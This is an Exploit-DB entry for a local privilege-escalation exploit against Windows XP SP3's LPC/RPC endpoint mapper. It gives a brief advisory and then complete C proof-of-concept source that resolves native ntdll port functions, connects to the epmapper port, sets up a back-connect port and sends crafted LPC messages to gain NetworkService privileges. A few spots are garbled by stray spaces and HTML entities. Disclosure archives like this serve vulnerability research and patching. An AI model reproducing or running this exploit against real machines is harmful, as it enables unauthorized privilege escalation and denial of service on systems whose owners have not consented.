Microsoft Windows - Local Procedure Call (LPC) Privilege Escalation

EDB-ID:

34822

CVE:

N/A


Author:

yuange

Type:

local


Platform:

Windows

Date:

2010-09-07


// source: https://www.securityfocus.com/bid/43860/info

Microsoft Windows is prone to a local privilege-escalation vulnerability.

A local attacker can exploit this issue to execute arbitrary code and elevate their privileges to the NetworkService account level. Failed exploit attempts may cause a denial-of-service condition.

The issue affects Microsoft Windows XP SP3; other versions may also be affected.

#include <windows.h>
#include <stdio.h>
//#include "ntdll.h"
//#pragma  comment(lib,"ntdll.lib")
#pragma  comment(lib,"advapi32.lib")
 
typedef enum _PROCESSINFOCLASS {
ProcessDebugPort=7// 7 Y Y
} PROCESSINFOCLASS;
typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR Buffer;
} UNICODE_STRING ,*PUNICODE_STRING;
typedef struct _CLIENT_ID
{
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
}CLIENT_ID,* PCLIENT_ID, **PPCLIENT_ID;
#define PORT_NAME_LEN               64
#define LRPC_CONNECT_REQUEST     0
#define LPC_CONNECTION_REQUEST   10
#define    offset    0x100+0x4-0x6*4
#define    MAXLEN    0x148
#define    BACKNAME  L"\\RPC Control\\back2"
#define    RPCLPCNAME L"\\RPC Control\\epmapper"
#define    BINDNAME  L"back2"
typedef struct _LRPC_BIND_EXCHANGE
{
    INT                ConnectType ;
    DWORD         AssocKey ;
    char              szPortName[PORT_NAME_LEN] ;
    RPC_SYNTAX_IDENTIFIER InterfaceId;
    RPC_SYNTAX_IDENTIFIER TransferSyntax;
    RPC_STATUS RpcStatus;
    unsigned char fBindBack ;
    unsigned char fNewSecurityContext ;
    unsigned char fNewPresentationContext;
    unsigned char PresentationContext;
    unsigned char Pad[3];
    unsigned long SecurityContextId;
} LRPC_BIND_EXCHANGE;
typedef struct _LPC_MESSAGE
{
  USHORT                  DataSize;
  USHORT                  MessageSize;
  USHORT                  MessageType;
  USHORT                  DataInfoOffset;
  CLIENT_ID               ClientId;
  ULONG                   MessageId;
  ULONG                   SectionSize;
//  UCHAR    & nbsp;                 Data[];
}LPC_MESSAGE, *PLPC_MESSAGE;

typedef struct _OBJECT_ATTRIBUTES
{
    DWORD           Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    DWORD           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
}OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES, **PPOBJECT_ATTRIBUTES;

typedef
DWORD
(CALLBACK * NTCREATEPORT)(
  OUT PHANDLE             PortHandle,
  IN POBJECT_ATTRIBUTES   ObjectAttributes,
  IN ULONG                MaxConnectInfoLength,
  IN ULONG                MaxDataLength,
  IN OUT PULONG           Reserved OPTIONAL );
typedef
DWORD
(CALLBACK * NTREPLYWAITRECVIVEPORT)(
  IN HANDLE               PortHandle,
  OUT PHANDLE             ReceivePortHandle OPTIONAL,
  IN PLPC_MESSAGE         Reply OPTIONAL,
  OUT PLPC_MESSAGE        IncomingRequest );

typedef
DWORD
(CALLBACK * NTACCEPTCONNECTPORT) (
    OUT PHANDLE PortHandle,
    IN PVOID PortContext OPTIONAL,
    IN PLPC_MESSAGE ConnectionRequest,
    IN BOOLEAN AcceptConnection,
    IN OUT int int1, //    IN OUT PPORT_VIEW ServerView OPTIONAL,
    OUT int int2  //OUT PREMOTE_PORT_VIEW ClientView OPTIONAL
    );
typedef
DWORD
(CALLBACK * NTCONNECTPORT)(
    OUT PHANDLE PortHandle,
    IN PUNICODE_STRING PortName,
    IN PSECURITY_QUALITY_OF_SERVICE SecurityQos,
    IN OUT int int1,
 //    IN OUT PPORT_VIEW ClientView OPTIONAL,
    IN OUT int int2,
 // IN OUT PREMOTE_PORT_VIEW ServerView OPTIONAL,
    OUT PULONG MaxMessageLength OPTIONAL,
    IN OUT PVOID ConnectionInformation OPTIONAL,
    IN OUT PULONG ConnectionInformationLength OPTIONAL
  );
typedef
DWORD
(CALLBACK *NTREQUESTWAITREPLYPORT)(   // NtRequestWaitReplyPort(
  IN  HANDLE               PortHandle,
  IN  PLPC_MESSAGE         Request,
  OUT PLPC_MESSAGE        IncomingReply );
typedef
DWORD
(CALLBACK *NTCOMPLETECONNECTPORT) (
    IN HANDLE PortHandle
    );
typedef
DWORD
(CALLBACK *RTLINITUNICODESTRING)(
    PUNICODE_STRING DestinationString,
    PCWSTR SourceString
    );
typedef
DWORD
(CALLBACK * NTREPLYPORT)(
  IN HANDLE               PortHandle,
  IN PLPC_MESSAGE         Reply );
typedef
DWORD
(CALLBACK * NTSETINFORMATIONPROCESS)(
  IN HANDLE               ProcessHandle,
  IN PROCESSINFOCLASS ProcessInformationClass,
  IN PVOID                ProcessInformation,
  IN ULONG                ProcessInformationLength );

typedef struct _DEBUG_MESSAGE
{
    LPC_MESSAGE        PORT_MSG;
    DEBUG_EVENT        DebugEvent;
}DEBUG_MESSAGE, *PDEBUG_MESSAGE;

NTSETINFORMATIONPROCESS    NtSetInformationProcess;
NTREPLYWAITRECVIVEPORT     NtReplyWaitReceivePort;
NTCREATEPORT               NtCreatePort;
NTREPLYPORT                NtReplyPort;
NTCONNECTPORT              NtConnectPort;
RTLINITUNICODESTRING       RtlInitUnicodeString;
NTREQUESTWAITREPLYPORT     NtRequestWaitReplyPort;
NTACCEPTCONNECTPORT        NtAcceptConnectPort;
NTCOMPLETECONNECTPORT      NtCompleteConnectPort;

template <int i> struct PORT_MESSAGEX : LPC_MESSAGE {
UCHAR Data[i];
};
PROCESS_INFORMATION    pi;
int   server();
void  initapi();
int main()
{
// LPC_MESSAGE         Reply;
//    HMODULE hNtdll;   
//    DWORD    dwAddrList[9];
    BOOL    bExit = FALSE;
//    DWORD    dwRet;
//    HANDLE    hPort;
    int        k=0;
 unsigned   long i;
//    DEBUG_MESSAGE dm;
    OBJECT_ATTRIBUTES oa = {sizeof(oa)};
    PORT_MESSAGEX<0x130> PortReply,PortRecv;
    STARTUPINFO    si={sizeof(si)};
   // NTSTATUS
 int  Status;
 
 PLPC_MESSAGE        Request;
// PLPC_MESSAGE        IncomingReply;
 LPC_MESSAGE         Message;
 HANDLE LsaCommandPortHandle;
    UNICODE_STRING LsaCommandPortName;
    SECURITY_QUALITY_OF_SERVICE DynamicQos;
 LRPC_BIND_EXCHANGE BindExchange;
 DWORD Key=0x11223344;
    unsigned long BindExchangeLength = sizeof(LRPC_BIND_EXCHANGE);
 BindExchange.ConnectType = LRPC_CONNECT_REQUEST ;
    BindExchange.AssocKey = Key;
//    wcscpy((wchar_t *)&(BindExchange.szPortName),BINDNAME);
 DynamicQos.ImpersonationLevel =SecurityAnonymous; // SecurityImpersonation;
    DynamicQos.ContextTrackingMode = SECURITY_STATIC_TRACKING; //SECURITY_DYNAMIC_TRACKING;
    DynamicQos.EffectiveOnly = TRUE;
    initapi();   
    printf( "\r\nwindows lpc test!\r\n");

 CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)server,0,0,&i);
 

 //
    // Connect to the Reference Monitor Command Port.  This port
    // is used to send commands from the LSA to the Reference Monitor.
    //
    RtlInitUnicodeString( &LsaCommandPortName,RPCLPCNAME);
    Status = NtConnectPort(
                 &LsaCommandPortHandle,
                 &LsaCommandPortName,
                 &DynamicQos,
                 NULL,
                 NULL,
                 NULL,    // &maxlen,
                 &BindExchange,
                 &Bi ndExchangeLength);
    if ((Status)) {

    exit(Status);
         //print(("LsapRmInitializeServer - Connect to Rm Command Port failed 0x%lx\n",Status));
        // goto InitServerError;
    }

//    exit(0);
/*
    //create port
    dwRet = NtCreatePort(&hPort, &oa, 0, 0x148, 0);
    if(dwRet != 0)
    {
        printf("create hPort failed. ret=%.8X\n", dwRet);
        return 0;
    }
    //create process
    if(!CreateProcess(0, "debugme.exe", NULL, NULL, TRUE,
        CREATE_SUSPENDED, 0, 0, &si, &pi))
    {
        printf("CreateProcess failed:%d\n", GetLastError());
        return 0;
    }
    //set debug port
    dwRet = NtSetInformationProcess(pi.hProcess, ProcessDebugPort,
        &hPort, sizeof(hPo rt));
    if(dwRet != 0)
    {
        printf("set debug port error:%.8X\n", dwRet);
        return 0;
    }
    //printf("pid:0x%.8X %d hPort=0x%.8X\n", pi.dwProcessId, pi.dwProcessId, hPort);
    ResumeThread(pi.hThread);
*/
    while (true)
    {
        memset(&Message, 0, sizeof(Message));
  
  Message.MessageSize=0x118;
  Message.DataSize=0x100;
  Message.MessageId=0x1122;
  Request=&Message;
 
 
 
    memset(&PortReply, 0, sizeof(PortReply));
        //    memcpy(&PortReply, &dm, sizeof(dm));
          
      memset(&PortReply, 0, sizeof(PortReply));
        //    memcpy(&PortReply, &dm, sizeof(dm));
            PortReply.MessageSize = 0x100;
            PortReply.DataSize = 0x100-0x18;
   PortReply.MessageType=0;
            PortReply.MessageId=0x1122;
            PortReply.Data[0]=0x0b;
            PortReply.Data[1]=0;
   PortReply.Data[2]=0;
   PortReply.Data[3]=0;
   PortReply.Data[4]=0;
            wcscpy((wchar_t *)&(PortReply.Data[0x10]),BINDNAME);
     Sleep(1000);
        Status=NtRequestWaitReplyPort(LsaCommandPortHandle,&PortReply,&PortRecv); //Reply);
     
  
          //  memcpy(&PortReply.Data[offset-4], &dwAddrList, sizeof(dwAddrList));
 
    PortReply.MessageSize = 0xa0;
            PortReply.DataSize = 0xa0-0x18;
   PortReply.MessageType=0;
            PortReply.MessageId=0x1122;
            PortReply.Data[0]=0x0;
            PortReply.Data[1]=0;
   PortReply.Data[2]=0;
   PortReply.Data[3]=0;
   PortReply.Data[4]=0;
            memcpy((unsigned char *)&(PortReply.Data[0x0c]),
       "\x80\xbd\xa8\xaf\x8a\x7d\xc9\x11\xbe\xf4\x08\x00\x2b\x10\x29\x89\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00",0x20);
   
//"\xe6\x73\x0c\xe6\xf9\x88\xcf\x11\x9a\xf1\x00\x20\xaf\x6e\x72\xf4\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00",0x20);

          //  memcpy(&PortReply.Data[offset-4], &dwAddrList, sizeof(dwAddrList));
         
   _asm{
  // die: jmp die
   }
   Sleep(1000);
        Status=NtRequestWaitReplyPort(LsaCommandPortHandle,&PortReply,&PortRecv); //Reply);
 BindExchange=*(LRPC_BIND_EXCHANGE *)&(PortRecv.Data[8]);

            if (!(Status))
   {
    while(1){
       PortReply.MessageSize = 0x100;
                PortReply.DataSize = 0x100-0x18;
       PortReply.MessageType=0;
                PortReply.MessageId=PortRecv.MessageId;
                PortReply.Data[0]=0x01;
                PortReply.Data[1]=0;
       PortReply.Data[2]=0;
       PortReply.Data[3]=0;
       PortReply.Data[4]=0x3;
    PortReply.Data[5]=0;
    PortReply.Data[6]=0;
   
    
                *(int *)(&(PortReply.Data[0x18]))=*(int *)(&(PortRecv.Data[0x30]));
 
   _asm{
// die: jmp die
   }
               Sleep(100);
           Status=NtRequestWaitReplyPort(LsaCommandPortHandle,&PortReply,&PortRecv); //Reply);
   
          
          Sleep(0x7fffffff);
    }
   }
 } 

 
    return 0;
}

int server()
{
   BOOL    bExit = FALSE;
    DWORD    dwRet;
//    HANDLE    hPort;
    int        k=0;
 unsigned   long maxlen;
  //  DEBUG_MESSAGE dm;
    OBJECT_ATTRIBUTES oa = {sizeof(oa)};
    PORT_MESSAGEX<0x130> PortReply,PortRecv;
    STARTUPINFO    si={sizeof(si)};
   // NTSTATUS
 int  Status;
 
 PLPC_MESSAGE        Request;
 PLPC_MESSAGE        IncomingReply;
 LPC_MESSAGE         Message;
 HANDLE BackPortHandle,NewHandle,NewAccHandle;
    UNICODE_STRING BackPortName;
    SECURITY_QUALITY_OF_SERVICE DynamicQos;
 LRPC_BIND_EXCHANGE BindExchange;
 DWORD Key=0x11223344;
    unsigned long BindExchangeLength = sizeof(LRPC_BIND_EXCHANGE);
 BindExchange.ConnectType = LRPC_CONNECT_REQUEST ;
    BindExchange.AssocKey = Key;

 DynamicQos.ImpersonationLevel =SecurityAnonymous; // SecurityImpersonation;
    DynamicQos.ContextTrackingMode = SECURITY_STATIC_TRACKING; //SECURITY_DYNAMIC_TRACKING;
    DynamicQos.EffectiveOnly = TRUE;
   
   
 

    RtlInitUnicodeString( &BackPortName,BACKNAME);
 memset(&oa,0,sizeof(oa));
    oa.Length=0x18;
 oa.ObjectName=&BackPortName;
 oa.Attributes=0x40;

    //InitializeObjectAttributes(&oa,&BackPortName,0x40,0,0);
  //OBJ_CASE_INSENSITIVE,0,0); //SecurityDescriptor);
   
    //create port
    dwRet = NtCreatePort(&BackPortHandle, &oa, sizeof(LRPC_BIND_EXCHANGE),MAXLEN, 0);
    if(dwRet != 0)
    {
        printf("create hPort failed. ret=%.8X\n", dwRet);
       // return 0;
    }
   
    while (true)
    {
        memset(&Message, 0, sizeof(Message));
  
  Message.MessageSize=0x118;
  Message.DataSize=0x100;
  Message.MessageId=0x11;
  Request=&Message;
      memset(&PortReply, 0, sizeof(PortReply));
        //    memcpy(&PortReply, &dm, sizeof(dm));
            PortReply.MessageSize = 0x148;
            PortReply.DataSize = 0x130;
   PortReply.MessageType=0;
            PortReply.Data[0]=0x0b;
            PortReply.Data[1]=0;
   PortReply.Data[2]=0;
   PortReply.Data[3]=0;
   PortReply.Data[4]=0;
 
          //  memcpy(&PortReply.Data[offset-4], &dwAddrList, sizeof(dwAddrList));
        
        Status=NtReplyWaitReceivePort(BackPortHandle,0,0,&PortRecv); //Reply);
        if(PortRecv.MessageType==LPC_CONNECTION_REQUEST)
  {
  Status=NtAcceptConnectPort(&NewAccHandle, 0, &PortRecv,1, NULL, NULL);
  Status=NtCompleteConnectPort (NewAccHandle);
  
      memset(&PortRecv, 0, sizeof(PortRecv));
       
   Status=NtReplyWaitReceivePort(NewAccHandle,0,0,&PortRecv); //&PortReply,&PortRecv);
  
   while(1)
   {
   PortRecv.MessageSize = 0x148;
            PortRecv.DataSize = 0x130;
   
  // PortReply.MessageId=PortRecv.MessageId;
            _asm{
//die: jmp die
   }
   Status=NtReplyWaitReceivePort(NewAccHandle,0,&PortRecv,&PortRecv); //&PortReply,&PortRecv);
   Sleep(100);
   Status=NtReplyWaitReceivePort(NewAccHandle,0,0,&PortRecv); //&PortReply,&PortRecv);
   }
  }
 }
}

void initapi()
{
  HMODULE hNtdll;

    //get native api address
    hNtdll = LoadLibrary("ntdll.dll");
    if(hNtdll == NULL)
    {
        printf("LoadLibrary failed:%d\n", GetLastError());
    }
    NtReplyWaitReceivePort = (NTREPLYWAITRECVIVEPORT)
         GetProcAddress(hNtdll, "NtReplyWaitReceivePort");
    NtCreatePort = (NTCREATEPORT)
         GetProcAddress(hNtdll, "NtCreatePort");
    NtReplyPort = (NTREPLYPORT)
         GetProcAddress(hNtdll, "NtReplyPort");
    NtSetInformationProcess = (NTSETINFORMATIONPROCESS)
         GetProcAddress(hNtdll, "NtSetInformationProcess");
 NtRequestWaitReplyPort= (NTREQUESTWAITREPLYPORT)
   GetProcAddress(hNtdll,"NtRequestWaitReplyPort");
 
 NtConnectPort  =             (NTCONNECTPORT)
      GetProcAddress(hNtdll, "NtConnectPort");
 NtCompleteConnectPort  =     (NTCOMPLETECONNECTPORT)
      GetProcAddress(hNtdll, "NtCompleteConnectPort");
 NtAcceptConnectPort  =     (NTACCEPTCONNECTPORT)
      GetProcAddress(hNtdll, "NtAcceptConnectPort");
    RtlInitUnicodeString=(RTLINITUNICODESTRING)
         GetProcAddress(hNtdll,"RtlInitUnicodeString");
   
}